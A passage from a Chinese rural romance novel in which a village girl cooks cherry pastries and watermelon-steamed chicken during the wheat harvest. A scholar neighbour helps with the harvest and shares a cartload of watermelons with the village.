透薄的面皮包裹着红润的樱桃果酱,呈现出一种粉嫩的色泽,白里透红,瞧着便十分精致。 那香香甜甜的味道在掀开盖子之后变得更加浓郁,勾得几个孩子狂咽口水。 卫昭瞧着那粉嫩的颜色便觉得心喜,拿筷子给这几个小孩一人分了一个,让他们帮忙试试味道。 这般漂亮的食物看着便让人不忍心吃,几个小孩小心翼翼,都有些不知该如何下嘴。 不过,小孩子到底是禁不住诱惑,张大嘴一口咬下去了一半,咀嚼间,面皮的韧劲与樱桃酱的酸甜在嘴里蔓延扩散,那香甜的味道好似直接窜到了脑门上,让几个孩子纷纷露出了陶醉的神色。 真的太好吃了! 好看和好吃叠加在一起,让樱桃毕罗直接跃升成为上溪村小孩子最喜爱的吃食。 好似没嚼几下,一个樱桃毕罗便下了肚,几个孩子不舍地看着锅里的其他毕罗,却没人开口讨要。 锅中的樱桃毕罗卫昭准备送给卫福安她们,匀不出来多的,便又请他们吃了樱桃煎,小小一个的樱桃蜜饯,吃起来酸酸甜甜,也极符合小孩子的口味。 几人最后走时把自己带的樱桃都分了卫昭一半,卫昭不要,结果他们把樱桃往桌上一丢便跑远了。 边跑边喊:“昭昭姑姑,你等我们和余爷爷换了更多的樱桃来,给我们再做樱桃毕罗吃。” 卫昭无奈一笑,只好应了一声。 把剩下的樱桃毕罗和樱桃煎分好,卫昭拎着食盒给二爷爷家和楚恒家送去。 楚恒看到她时眼中闪过一丝诧异和欣喜,自那日之后,这还是卫昭第一次来找他。 卫昭举着食盒,笑得一如往常般明媚:“我根据你给我的食谱做出了樱桃煎和樱桃毕罗,你尝尝看,和你在京城吃得比,如何?” 这两种吃食楚恒的确在京城尝过,卫昭这般说了,他便态度十分认真地品尝,给出了评价。 “味道比之我之前吃的更加可口。” 倒不是他夸大,他是真这么觉得。以前吃的,或过酸或过甜,总有哪处不合他的口味,可卫昭做的却十分恰到好处。 卫昭略有些不好意思地笑了笑,她觉得应当是她经常给身边人做饭的缘故,掌握了身边人的口味,做出来的吃食才让楚恒有了这种感觉。 交谈间,对上楚恒的眼神,她下意识便寻了个借口离开。 楚恒看着她的背影,只觉得她好像有了心事。 那香甜的樱桃毕罗再入口,好似也失了两分风味。 31. 芒种麦收 铛——铛——铛—— 一大清早,几声震天的锣声响起,刚用过早饭的村民们陆陆续续到了上溪村的祠堂前。 卫长福背着手在祠堂前面的空地上等着,见差不多每家都来人了,他清了清嗓子,等人群逐渐安静了下来,他才道:“过几日家家户户的麦子都熟了,是时候割麦了,今天每家安排人来清扫麦场,划好地盘,准备麦收。” 村民齐齐应了声好,便各自回家去拿工具。 村里的麦场就是祠堂前方的空地,每年收麦前都需要平整土地,将地整得坚硬又光滑,好用来晒麦子。 这麦场是通用的,所以需要每家每户派人来清扫,以示公平。 随后,再由村长并几位村中德高望重的老人一起根据各家各户的亩数划分区域。 这是卫家传下来的老规矩,后来哪怕村子里搬来了新户人家,也依旧延续着这个规矩。 卫昭扛了个大扫帚,跟梨花嫂子边聊着天边往麦场走。 梨花嫂子正抱怨她家那个不成器的儿子:“整日里在外面撒欢不着家,说他两句还净是顶嘴的歪理,我是真管不了了。” 卫昭想到今天早上吃饭时,隔壁传来的母子俩一声赛一声高的呛呛声,忍不住又是一乐。 她只能劝梨花嫂子宽心:“等孩子大了就懂事了。” 梨花嫂子叹气:“你说咱这里咋就没个小学堂呢?” 镇上的学堂收费贵是一点,另一点就在学堂的夫子身上了。 那个学堂的夫子虽然年纪大了,但人家有志向啊,现在还参加着科举呢,孩子就收那点,多一个也不行,倔得很。上溪村虽然离着镇上近,但孩子也根本找不到门路送进人家学堂里。 自家孩子年纪渐渐大了,再不送去启蒙就晚了,梨花嫂子是真愁啊。 “欸——昭昭,”梨花嫂子拿手肘轻轻碰了下卫昭,问道:“楚家那位秀才公的身体休养的怎么样了?” 村里人都以为楚恒是病重之后回乡休养,梨花嫂子有心想请人家给孩子启蒙,但又担心误了人家的病,硬生生忍着。 不过,楚恒如今回来快有四五个月了,也不知道这身体到底养的咋样了。 卫昭含糊地应了句:“差不多吧,余爷爷说还是得调养,不能劳累。” 梨花嫂子叹气,还要说点什么,就见刚刚聊到的主人公竟然出现在了她们面前,她十分热情地打起了招呼:“楚恒来了啊,吃早饭了吗?” 这热情劲儿楚恒至今都有些适应不了,他寒暄了几句,站到了卫昭旁边。 正好各家分的地方也都到了,梨花嫂子去了自家负责的那块区域。 走出去一段距离,再回头看,只觉得那边低声说话的二人看起来分外和谐。 旁边一嫂子拍了她一下,“看啥呢?” 金秀顺着梨花的视线看过去,不由得“啧”了一声:“这昭昭跟楚家那小子看起来倒是般配。” 昭昭虽是个农家姑娘,但长得俊秀,不比镇上的姑娘差,这几日看着更是比以往水灵了不少,楚恒更不用说了,那通身的气质,他们在整个春林镇没见过几个身上有的。 这俩人站在那,看起来颇为登对。 梨花嫂子推她一把,“想啥呢?就凭人那两家的交情,楚恒跟昭昭的关系,和吉祥那小子跟昭昭的关系有啥两样的?” 金秀捂着胳膊“嘶”了一声,“我不就那么一说吗?”这么大反应干嘛? “说也不行,那不耽误人家吗?” “行行行,不说了。” 把人打发走了,梨花嫂子又往卫昭她们刚刚站的地方看了一眼,见二人不在原地,便收回了目光。 楚恒和卫昭家走得近,她作为邻居见的是最多的,梨花心里也犯嘀咕,有时也想这俩孩子配一对儿过日子好似也不错。 可看桂花婶那淡定的模样,她心里也把不准人家是怎么想的,可不敢出去乱说。就凭她家那臭小子在昭昭那里蹭吃蹭喝的,人家那不管是金贵的糖还是喷香的肉都没吝啬过,这闲话也不能从她这传出去。 卫昭对这些事情丝毫不知,她正跟楚恒说着这麦场如何打扫。 今日的锣声传的远,楚恒在家中也听到了,只是他离得远,来得晚了些。 知道农家一年中最忙的时节到了,他主动找上卫昭,提出给她家帮忙。 他许是干活没有那么麻利,但总归也能算个劳力。 割麦子最累人,卫昭担心他的身体吃不消,可楚恒再三坚持,她也只好同意了。 卫昭千叮咛万嘱咐:“往年都是先收二爷爷家的粮食,再收我家的,人也够用,你到时若是有哪里不舒服,千万不可逞强。” 楚恒一一都应了。 收拾好麦场,楚恒回到家中,思索再三,又给京中去了一封信。 听卫昭讲,往年春林镇的西瓜都是源昌货行从外地拉回来的,时间稍晚,量也不算多。 京城最不缺天南地北的商人,也不缺好货,他此次是托谢怀钰打听一些西瓜贩子的消息。 麦收时正值芒种时节,气温升高,人又渴又累,西瓜消暑解渴,若能早些弄来,农忙时得闲尝一牙,也算是一种慰藉了。 卫昭爱吃西瓜子,多种的西瓜也得要一些。 眼下的日子当真可以说是在掰着手指头过了。 樊桂花和二爷爷卫大平年纪大了,谁也不许他们跟着去割麦子,卫长福和胡娟的年纪也上来了,主要的劳力都落在了卫吉祥和卫吉勇两个大小伙子身上,但卫昭割麦的速度比起其他人来说也不差。 楚恒的腰弯到快要受不了时便要直起来歇一会儿,看着卫昭依旧闷头挥舞着镰刀往前赶,金黄的麦地里,她弯着腰,一刻不停地开垦出了一条属于丰收的路。 额头的汗水不期然进了眼睛,模糊了他的视线,楚恒拿袖子撸了一把脸,继续弯下腰割麦。 他要多干一些,这样卫昭便能少干一点儿。 卫福安挑着扁担远远走来,越过一堆堆割好的麦子,追上了众人。 “大奶奶煮了绿豆汤,我拿去井里湃过了,如今刚取出来,都先过来喝一些再干活。” 听到她的喊话,干活的众人陆陆续续停了下来,那长时间弯着的腰 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村里有牛车的人家没几户,要么靠人力拉,要么互相借,借也不是白借的,或是给捧菜,或是给牛打些草,这些就尽够了。 梨花嫂子家用完,还有一户要用,不过这家人不会赶牛,卫昭放下摊麦子的钉耙,准备去赶牛车。 楚恒拦住她,说道:“我去吧,你在这收拾。” 卫昭有些担心,这人说要学赶牛车,却也只是在前几日他们去赶集的路上学着甩过几鞭子,还没正式学过赶车把式,就这么去了,也不知道能不能行。 别说卫昭担心了,看着楚恒走过来,借牛车的那家人也犯嘀咕。 秀才公赶牛?! 没见过啊。 这弱不禁风的模样,能行吗? 能行! 除了刚开始时走偏了些道,之后这牛车就走的十分平稳。 楚恒赶车赶得四平八稳,那赶车把式像极了一位经年的老师傅。 根生一边在后面推车一边笑道:“楚恒,没想到你这秀才公不仅书读得好,赶起牛车来也不差啊!” 楚恒甩了一下牛鞭,“还好,看人赶得多了,记了些窍门。” 根生摇了摇头,语气有些羡慕:“还是你聪明,让我看多少遍我也看不懂。” 许是今日干活太多,楚恒也有些打开了话匣子:“我也有不会的,今日割麦子就不行。” 根生一听这个就乐了,这是他的强项啊。 “你这是没干过多少农活,干得多就能找到窍门,我跟你说,这割麦子,你首先得……” 叽叽喳喳,一路未消停,不过楚恒却听得认真,还时不时问上一句,这更是勾得根生说的更多了。 根生娘在地里等着他们回来拉其他的麦子,远远就听到她那儿子跟楚恒那小子说什么“你得这样做”“那样不行”的,心里瞬间泛起了嘀咕: 自家这蠢儿子怎么听着还教起了秀才公做事? 32. 一车西瓜 等天即将黑下来,卫长福又开始喊人来搭几个简易窝棚。 这是夜里看麦场的人要住的。 每家出个人,几人一队,轮流看麦场。 卫昭家都是女眷,虽说村里人都照顾着,可时间长了也容易让人心里犯嘀咕,是卫长福说他家出两个人,一个顶上卫昭家的名额。 蓝紫色的天幕之上星河流转,麦场中的动静渐渐消失,直至次日天际跃出一道光线,又一日的农忙开始了。 田地里多出一道道麦茬,麦场里垛起一垛垛麦堆。 等麦束全都归场,还需要脱粒。 村民们拿着连枷不停地拍打麦束,一家老少齐上阵,纷纷扬扬的麦芒下,尽是今年丰收带来的喜悦。 楚恒牵着牛,牛拉着石碾,一遍遍地从地上铺满了的麦子上走过,卫昭跟在后面,拿着连枷再把没脱落的麦子打下来。 有时他蓦然回头,就见卫昭一手撑着连枷杆子,一手拿着帕子擦汗,见他回头,下意识露出一抹极为灿烂的笑容。 烈日灼灼下,楚恒竟也同她一般笑着。 他想,若能年年有今日,那此生当真是无憾了。 脱粒后的麦子还需要扬场,用木锨将麦子高高扬起,借助风力将麦子同麦秆和麦壳分离。 楚恒扬了一锨便迷了眼睛,泪流不止,卫昭撸起袖子自己上。 她把楚恒推远了些,“别离太近,这麦壳沾身上痒。” 楚恒这人脾气太倔,卫昭让他去一旁歇着,他也不干,站在一旁安静地看着。 见别人家都有人拿着扫帚扫麦粒,他将卫昭给他用来捂口鼻的布巾系在鼻尖,拿起一旁的扫帚开始归拢地上的麦子。 二人一时配合的倒还挺好。 回趟家运了一趟麦秆的樊桂花回来时便看到了这一幕,眼中闪过一抹欣慰。 她年纪大了,很多活硬是要干,只能是给孙女添麻烦,可看着卫昭一个小姑娘干着别人一家人干的活,她心疼啊。 如今有人心疼她,同她一起分担,樊桂花心中多了几分宽慰。 晒麦子需要时不时翻动,也要防着鸟雀啄食,祠堂外的梧桐树的阴影下坐满了村里人,聊着东家长李家短。 卫昭和卫福安坐在一起,时不时应和几声,没多久,樊桂花和胡娟便来替了她俩。 到家里先掬几捧凉水洗脸,二人才觉得浑身舒坦。 沿着菜地边点的薄荷如今长得越来越茂盛,卫昭拿了个笸箩来,挑着好的薄荷叶揪了不少,准备做个炸薄荷。 她又翻出来了些干笋,准备炒个臊子,一会儿做个冷淘面。 没槐叶冷淘那么精致,就是直接用普通的面粉来做,忙忙碌碌的夏日,就这一口冷淘面最清凉。 院外忽地传来几声鸡鸣,正扒着蒜的卫福安探出身子一瞧,不由得瞪大了双眼,差点拿着扒了蒜的手去揉眼睛。 她不会看错了吧?楚恒手里拎着的那个是野鸡? 她拽了拽卫昭让她也赶紧来看。 卫昭甩了甩手上的水,打眼一瞧也不由得惊住了,而后迎了出去。 “楚恒哥,你这是从哪里弄来的野鸡?” 野鸡被用绳子绑的结结实实,楚恒拿到灶房门口后扔在了地上,说道:“我在山林里设了几个陷阱,今日去瞧了瞧,发现逮住了一只野鸡。” 楚恒的爹早年是猎户,他舅舅更是位能排兵布阵上阵杀敌的元帅,他虽然专研学问,身子不好,但做出一些陷阱用来捕猎也还是可以的。 这几日农忙极累人,正该吃些好的补一补,不然人撑不住。 想着卫昭应当没空上山下河,他思忖一番,便扛着工具去山上做了几个陷阱。 他其实也不确定自己能不能捕到猎物,今日看到这只肥硕的野鸡时倒是松了口气,下山便拎着赶来了卫昭家。 卫昭也不跟他客气,欢欢喜喜地接了过来,中了陷阱的野鸡许是因为受了伤,看着有些蔫耷耷的,如今天气正热,卫昭准备现在就给杀了。 正好试一道新菜——炉焙鸡。 卫吉祥和卫吉勇昨日刚值了夜,如今估计还没醒,卫昭磨刀霍霍,让卫福安给她烧一锅热水,准备自己上。 开刀放血,拔毛剥皮,开膛破肚。卫昭自小就被爹娘锻炼出来了,平日里虽总把这活儿分给卫吉祥他们,可她自己做起来也是半点不带打怵的,十分的行云流水。 处理好的鸡要先整只放入锅中焯水至八分熟,随后捞出,再剁成小块。 卫昭将家中的泥炭炉翻出来,支在院中。 做炉焙鸡,非明火急攻,而是靠炉温慢炙。 坐上锅,倒上少许油,将鸡块稍微一炒,而后直接盖住。等锅内热了,便加入适量的酒、醋和盐,酒和醋各一半,继续坐在炉子上烘烤,等锅里的水分干了,再加入酒和醋,如此再三,直到鸡肉酥软入味,便可起锅装盘。 慢火渗透的手法让鸡最终呈现出诱人的琥珀色泽,酒香、醋香混着肉香,闻着便极其开胃。 卫昭分了一半,让卫福安给二爷爷家送去,她则把冷淘面下了出来,配上笋丁肉沫的臊子,一齐端上了桌。 麦场那处不缺人,卫昭让楚恒将樊桂花喊了回来,等人到齐了,这才开饭。 等樊桂花先动了筷,卫福安迫不及待地夹了块炉焙鸡入口。 炉焙鸡虽然加了不少酒,但酒气都在热气蒸腾下挥发掉了,只余下淡淡的酒香。 鸡肉入口微咸,却在这炎热夏日极其开胃,咀嚼之后更有鸡肉的鲜甜渗出,再配上一口拌好的冷淘面,那滋味儿,当真是美极了! 卫福安吃得幸福不已:“昭昭,你做的饭真是太好吃了,我要跟我爹娘说我以后不回去了,天天留你这里蹭饭。” 不光是她激动,卫吉祥也在吃完饭后来这边把卫昭夸了一通。 卫昭不耐烦听,“你直说吧,你想让我做什么?” 卫吉祥不好意思地嘿嘿笑了笑,才道:“等我成亲当日,你能不能再做一回炉焙鸡?” 他的婚期日益临近,不过婚礼上的菜色还没定,一生只一次大婚,卫吉祥也想办的体面些。 卫昭当日是要去厨房帮厨的,既然卫吉祥点了做炉焙鸡,她自然是应了。 不过,卫吉祥再是盼着成亲,日子就摆在那,慢不得,快不得,比他婚期先来的,是楚恒找人运来的西瓜。 楚恒看着杜茂武拉来的一车的西瓜,不由得有 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又听杜茂武问这一车西瓜卸在哪里,楚恒想了想,留下一些后,让他随自己去了卫昭家。 村中素日无甚稀罕事,马车进了村子,这可是难得一见,更别提这车竟还拉了许多的西瓜。 这清凉瓜果还是第一次这么早到他们这小地方。 原本只有几人的街上瞬间围了不少村民。 有人问起,楚恒只得道:“是我京中亲人送来的,太多了,我一人也吃不完,留着不过浪费,便想着同村里相熟的人家分一分。” 见此情景,楚恒便没在卫昭家门前停留,只让她搬上案板和刀具,随马车一起去了祠堂。 等到了地方,他便停了下来,朗声道:“这西瓜本就运输了不少天,再放估计也撑不了多久,村里人家大多都在这,这些天大家麦收辛苦,我颇得村中照顾,也不知如何感谢,便每家分半个西瓜,还望大家不要嫌弃。” 这瓜果可是稀罕物,村里众人一时间面面相觑。 楚恒便喊了卫长福去一旁叙话,最后又由卫长福出面主持,这才让众人不再犹豫,纷纷笑着上前,等着领瓜。 卫昭特地挑了一把顺手的刀,砍西瓜的动作跟切菜似的。 卫吉祥偷偷在一旁跟他爹嘀咕:“傻不傻啊?这么多西瓜得多少钱?怎么就这么白白送出去了?” 他敢笃定,楚恒一开始是想给卫昭家送去,若不是半路围上来的人太多,他根本没想过分出去。 想到要是按照原来那么多的西瓜来算,他家指定能多得几个,卫吉祥心里一阵滴血。 卫长福恨铁不成钢地给他后脑勺来了一下,咬着牙低声道:“你懂个屁!这西瓜真送到昭昭手里才麻烦了。” 这大半车的西瓜卫昭拿着跟个烫手山芋似的,分也不是,不分也不是,平白让人眼馋,眼馋的多了就容易被人说闲话,他再是村长也管不了那么多人的嘴。 如今楚恒自己做主分出去,说的理由也是感念村中照顾,但这些人照顾的有卫昭家照顾的多吗? 吃人嘴软,拿人手短,之后他真要是再拿出什么好东西来给卫昭家送去,这些人可没那么多的脸皮像今日这般再凑上来。 33. 西瓜蒸鸡 拿到西瓜的村民也没心思想旁的,跟楚恒道完谢便回了家,急着给家中老小带回去尝尝。 等西瓜切完,人也散的差不多了,楚恒几人这才收了摊子。 卫昭砍西瓜砍到一半,便换了卫吉祥上场。楚恒见她依旧时不时揉一下肩膀,走过去,有些担忧道:“累到了吗?” 卫昭笑眯眯地摇了摇头:“没有,这些才哪到哪儿啊?以前我学厨时,我娘让我切的东西比这些西瓜更多。就是架的摊子有点高,用起来不太顺手,歇一会儿就好了。” 楚恒还是有些担心,催她赶紧回去歇着,又跟她解释道:“这些西瓜本来想给你送过去,没想到半路出了这些事,我那里还有一些,晚上再给你。” 卫昭不觉得有什么,这些都是楚恒自己的东西,他怎么处置都是他的事情。不过,看着楚恒有些忐忑的眼神,她心中忽地划过一抹异样。 她不知那是什么意思,只道:“你自己处置就好。” 等卫昭走了,楚恒又拍了拍卫吉祥的肩膀,说道:“晚上和吉勇去我那里一趟。” 卫吉祥眼睛一亮,点了点头。 货都没了,杜茂武提出告辞,楚恒送他出了村。 路上,杜茂武问:“楚公子,要不要我再去府城拉一些回来?” 楚恒摇了摇头,“镇上源昌货行的张掌柜与我相熟,你若能联系到那些商贩,便带着他一起去吧,之后有需要时,我会去他那里取。” 张源昌走南闯北,做的也是二道贩子的生意,能给他搭一条线,按他的精明,许是能开出更多的路子。 杜茂武应了一声便驾车离开。 楚恒也直接回了家,学着卫昭她们以前的样子,在井里湃了两个西瓜,等着晚上他们过来。 晚上来的不止卫吉祥和卫吉勇,卫昭和卫福安也跟来了。 四人一路躲着人来,绕了不少路。 一进门,卫吉祥便开始嚷嚷:“楚恒,有现成的西瓜吗?馋死我了。” 分了一下午的西瓜,他一共也没吃上几口,到了楚恒这,自然也不跟他客气。 楚恒指了指井:“我下午放里面了,取出来分了吧。” 湃好的西瓜自然比常温下的更好吃,几人喜不自胜,卫吉祥拍了拍他好兄弟的肩膀,几步窜到井边,开始收绳。 卫昭和卫福安去一旁支好案板,等西瓜一捞上来,便动手给分了。 沁凉甘甜的西瓜果肉一入口,这周遭的蝉鸣听着也美妙了几分。 天上是繁星点点,地上是好友围坐在院子里嬉笑玩闹。 直到肚子鼓鼓,这才消停。 楚恒道:“今天是我考虑不周,我已经跟杜掌柜说好了,下次直接让源昌叔跟果贩联系,我们去他那里拿货。” 说起这个卫吉祥还是心疼得不行,“那么多西瓜都分出去了,得多少钱啊。” 卫福安也心疼,不过,“都是一个村的,指不定什么时候就有用到人家的地方,那西瓜给了咱们,咱们也吃不完,若拉去镇上卖,总得有人来打听,指不定要传出去什么闲话,就这么当个顺水人情送出去也好。” 还有一点她没说,那就是楚恒有钱。光她偶然见过的一些名贵药材,都能抵上好几车的西瓜了。 她看了眼卫昭,心中默默叹气,也不知这楚恒在京中是做什么的,昭昭与他…… 察觉到她的视线,卫昭看了过去,示意她有什么事,卫福安摇了摇头,托着腮思索:“这西瓜还能做什么美食吗?” 每年总这么直接吃,着实有些单调了。 唉,她可真是太安逸了,竟然还挑起了吃的。 卫昭想了想,记得曾看到书中写过一道菜。 “有一道西瓜蒸鸡。” 听到这个名字,几个人纷纷露出了疑惑的表情。 西瓜?蒸鸡?这是菜吗? 确实是菜,不过这菜需要用到一年左右的童子鸡,家里的鸡卫昭都养出感情了,准备留着过年再杀。正巧今年丰收,交完税收家里还能余不少粮,她高兴,准备直接去集上买一只。 等回了家,樊桂花还在点着灯,手里搓着麻线,正等着她,卫昭进屋把背篓里的西瓜放好,说她:“奶奶,晚上光线不好,少做些精细活。” 樊桂花依言放下,“没做多久,闲着打发时间罢了。吉祥他们都回去了?” 卫昭道:“把我送到门口,他们就回去了。” 樊桂花看了看卫昭搬回来的两个西瓜,个头挺大,摇头失笑:“小恒这次怎么买来这么多西瓜。”还搞出了一场乌龙。 卫昭也跟着笑,“楚恒哥说是他跟他表哥去了信,想打听些西瓜贩子的消息,结果对面会错了意,直接给他送来了一车。” 长途跋涉后,那一车的西瓜也放不了多久,楚恒着急要分,忘了村里跟其他地方不一样。 樊桂花笑过后,又道:“如此也好,他多年未归,自小不在村里人眼底下长大,性子也清冷,跟村里人总感觉隔着一层,此事之后,他也误打误撞地彻底融了进来。” 卫昭在一旁听着,时不时点个头,觉得这法子虽然好,但跟吉祥哥说的一样:费钱。 难得见那一副成熟模样的少年郎办了一件冒失的事,樊桂花好笑之余,心中也多了几分宽慰。 再怎么成熟,也还是个孩子啊…… 她又问:“这西瓜有没有给余大夫留出来?” 卫昭点头:“留了,楚恒哥喊着吉勇跟他一起去送了一趟。” 他回来之后,几次生病都是余天光给看的,于情于理都该去一趟。 只是这么一来,他那西瓜是真没得剩了。 卫昭决定两日后的大集她一定要赶早去一趟,买只鸡回来安慰安慰秀才公。 听说她要做西瓜蒸鸡,卫吉祥三人根本忍不住好奇心,从集上回来就赖在了卫昭家里,楚恒也在。 他今日也跟着去了趟镇上,主要是去跟张源昌打声招呼。 几人去的早,回来的也早。 卫昭将自己特意挑的最大的那个西瓜搬到院里,利落地削去了带秧的瓜顶,留作盖子,再拿勺子小心地 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做西瓜蒸鸡时没有加水,靠着西瓜本身的水分,如今里面有了大半的鸡汤。 卫昭把鸡和蘑菇捞出来重新装盘,鸡汤分了一人一碗。 开宴之后,桌上众人一人先喝了一口汤。汤清澈,喝着却不似以前喝过的鸡汤的味道,极其清甜,还带着西瓜的甜香。比之正常的西瓜和炖鸡的吃法,这汤里甜退一步,香进一层,融合的恰到好处。 一口热汤下肚,带来的却是驱散暑热的清凉。 鸡肉更是兼具了清、鲜、爽、嫩、滑。 卫长福不由得赞道:“这鸡肉真是奇了,我活这么久,还没吃过这种口味的。” 胡娟也道:“要不是昭昭,咱们谁能知道西瓜还能蒸鸡呢?真是神奇,这两个一点边儿不沾的食材竟然能做出来这么好吃的菜。” 卫昭也没想到自己第一次做就能做得这么好,听着这些夸奖,她不由得笑眯了眼睛,“还是多亏了楚恒哥送我的食谱,不然我也不知道还能这么做菜。” 楚恒也极为喜爱这道西瓜蒸鸡,一碗汤喝完,又给自己盛了一碗,闻言便道:“若不是你精通厨艺,单有菜谱也做不出来这么美味的食物,所以,还是你厉害。” 卫福安跟着猛点头:“对!昭昭你太厉害了,比县城酒楼的大厨都厉害!” 县城可没这道菜,卫福安已经想好等见到爹娘和她哥后,要怎么描述这道西瓜蒸鸡了,指定要狠狠馋他们一回。 一桌人挨个把她夸了一遍,直夸的卫昭不好意思了,樊桂花笑着给她解围:“行了,你们别夸了,多吃菜,再不吃就凉了。” 这一桌菜可不少。 少见卫昭这幅样子,一桌人也忍不住笑了起来,樊桂花寻了个别的话题,众人这才渐渐收了笑声,聊起了之后的农活。 收了麦子,再种豆子。闲谈之间,尽是对又一次丰收的祈愿。